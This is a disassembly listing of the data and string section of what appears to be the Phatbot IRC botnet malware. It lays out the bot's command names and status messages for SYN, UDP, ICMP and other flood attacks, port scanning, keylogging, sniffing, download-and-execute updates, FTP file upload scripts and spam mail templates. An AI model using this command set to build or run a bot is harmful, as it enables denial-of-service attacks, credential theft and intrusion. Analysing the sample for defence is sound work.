		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D44	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D50	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D78	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D94	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429DB0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429DB8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DD4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DE0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DE8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DF0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429E2C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E58	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429EC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429EFC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429F14	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429F28	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F38	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F80	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429FBC	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FF4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A010	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A034	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A070	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A0A0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A0AC	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A108	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A140	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A16C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A1A8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A2A8	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A35C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A388	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A408	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A464	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A470	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A4AC	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A59C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5D0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A634	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A6CC	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A744	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A78C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A880	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8B8	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A900	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A938	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A970	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:00437FA8o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437FB8o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB38	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB74	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42ABBC	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C70o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C80o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42ADB4	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADFC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE44	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE90	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AECC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AF08	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AF2C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF4C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF78	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AFC4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFE4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B01C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B050	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B07C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B114	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
